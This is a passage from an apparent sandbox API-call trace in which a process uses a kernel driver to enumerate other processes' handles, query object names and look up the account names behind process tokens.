ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80022d2a60, HandleInformation=0x0) returned 0x0 [0137.909] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.909] PsReleaseProcessExitSynchronization () returned 0x2 [0137.909] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0137.909] ObQueryNameString (in: Object=0xfffffa80022d2a60, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.909] ObfDereferenceObject (Object=0xfffffa80022d2a60) returned 0x1 [0137.909] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.909] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.909] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0137.909] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.909] PsAcquireProcessExitSynchronization () returned 0x0 [0137.909] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0) [0137.909] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80023145e0, HandleInformation=0x0) returned 0x0 [0137.909] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.909] PsReleaseProcessExitSynchronization () returned 0x2 [0137.909] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0137.909] ObQueryNameString (in: Object=0xfffffa80023145e0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.909] ObfDereferenceObject (Object=0xfffffa80023145e0) returned 0x2 [0137.909] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.909] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.909] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbec) returned 0xc0 [0137.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.909] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80023109d0, HandleInformation=0x0) returned 0x0 [0137.909] ObOpenObjectByPointer (in: Object=0xfffffa80023109d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000738) returned 0x0 [0137.909] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x41 [0137.909] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000738, DesiredAccess=0x8, TokenHandle=0xfffffa8002506ac0 | out: TokenHandle=0xfffffa8002506ac0*=0xc8) returned 0x0 [0137.910] ZwClose (Handle=0xffffffff80000738) returned 0x0 [0137.910] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.910] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.910] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.911] CloseHandle (hObject=0xc8) returned 1 [0137.911] CloseHandle (hObject=0xc0) returned 1 [0137.911] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.911] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.911] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.911] PsAcquireProcessExitSynchronization () returned 0x0 [0137.911] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0) [0137.911] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002359770, HandleInformation=0x0) returned 0x0 [0137.911] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.911] PsReleaseProcessExitSynchronization () returned 0x2 [0137.911] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0137.911] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.911] ObfDereferenceObject (Object=0xfffffa8002359770) returned 0x1 [0137.911] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.912] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.912] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.912] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.912] PsAcquireProcessExitSynchronization () returned 0x0 [0137.912] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0) [0137.912] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80023184d0, HandleInformation=0x0) returned 0x0 [0137.912] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.912] PsReleaseProcessExitSynchronization () returned 0x2 [0137.912] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0137.912] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.912] ObfDereferenceObject (Object=0xfffffa80023184d0) returned 0x1 [0137.912] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.912] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.912] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0137.912] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.912] PsAcquireProcessExitSynchronization () returned 0x0 [0137.912] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0) [0137.912] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0137.912] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.912] PsReleaseProcessExitSynchronization () returned 0x2 [0137.912] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0137.912] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.912] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0137.912] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.912] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.912] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.912] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.912] PsAcquireProcessExitSynchronization () returned 0x0 [0137.912] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0) [0137.912] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.912] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.913] PsReleaseProcessExitSynchronization () returned 0x2 [0137.913] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0137.913] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.913] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.913] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.913] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.913] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.913] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.913] PsAcquireProcessExitSynchronization () returned 0x0 [0137.913] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0) [0137.913] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.913] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.913] PsReleaseProcessExitSynchronization () returned 0x2 [0137.913] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0137.913] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.913] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.913] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.913] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.913] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0137.913] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.913] PsAcquireProcessExitSynchronization () returned 0x0 [0137.913] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054735d0) [0137.913] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002310680, HandleInformation=0x0) returned 0x0 [0137.913] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.913] PsReleaseProcessExitSynchronization () returned 0x2 [0137.913] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0137.913] ObQueryNameString (in: Object=0xfffffa8002310680, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.913] ObfDereferenceObject (Object=0xfffffa8002310680) returned 0x1 [0137.913] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.913] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.913] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x328) returned 0xc0 [0137.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.914] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001fdf060, HandleInformation=0x0) returned 0x0 [0137.914] ObOpenObjectByPointer (in: Object=0xfffffa8001fdf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000738) returned 0x0 [0137.914] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0137.914] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000738, DesiredAccess=0x8, TokenHandle=0xfffffa8002506ac0 | out: TokenHandle=0xfffffa8002506ac0*=0xc8) returned 0x0 [0137.914] ZwClose (Handle=0xffffffff80000738) returned 0x0 [0137.914] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.914] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.914] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.915] CloseHandle (hObject=0xc8) returned 1 [0137.915] CloseHandle (hObject=0xc0) returned 1 [0137.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.915] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.915] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.915] PsAcquireProcessExitSynchronization () returned 0x0 [0137.915] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0) [0137.915] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80103235d0, HandleInformation=0x0) returned 0x0 [0137.915] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.915] PsReleaseProcessExitSynchronization () returned 0x2 [0137.915] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0137.915] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.915] ObfDereferenceObject (Object=0xfffffa80103235d0) returned 0x1 [0137.915] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.916] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.916] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.916] PsAcquireProcessExitSynchronization () returned 0x0 [0137.916] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0) [0137.916] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003582f20, HandleInformation=0x0) returned 0x0 [0137.916] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.916] PsReleaseProcessExitSynchronization () returned 0x2 [0137.916] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0137.916] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.916] ObfDereferenceObject (Object=0xfffffa8003582f20) returned 0x1 [0137.916] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.916] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.916] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.916] PsAcquireProcessExitSynchronization () returned 0x0 [0137.916] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0) [0137.916] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0137.916] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.916] PsReleaseProcessExitSynchronization () returned 0x2 [0137.916] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0137.916] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.916] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0137.916] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.916] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.916] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.916] PsAcquireProcessExitSynchronization () returned 0x0 [0137.916] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0) [0137.916] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80023c9470, HandleInformation=0x0) returned 0x0 [0137.916] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.917] PsReleaseProcessExitSynchronization () returned 0x2 [0137.917] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0137.917] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.917] ObfDereferenceObject (Object=0xfffffa80023c9470) returned 0x1 [0137.917] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.917] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.917] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0137.917] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.917] PsAcquireProcessExitSynchronization () returned 0x0 [0137.917] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0) [0137.917] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021ab070, HandleInformation=0x0) returned 0x0 [0137.917] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.917] PsReleaseProcessExitSynchronization () returned 0x2 [0137.917] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0137.917] ObQueryNameString (in: Object=0xfffffa80021ab070, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.917] ObfDereferenceObject (Object=0xfffffa80021ab070) returned 0x1 [0137.917] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.917] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.917] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0137.917] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.917] PsAcquireProcessExitSynchronization () returned 0x0 [0137.917] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0) [0137.917] 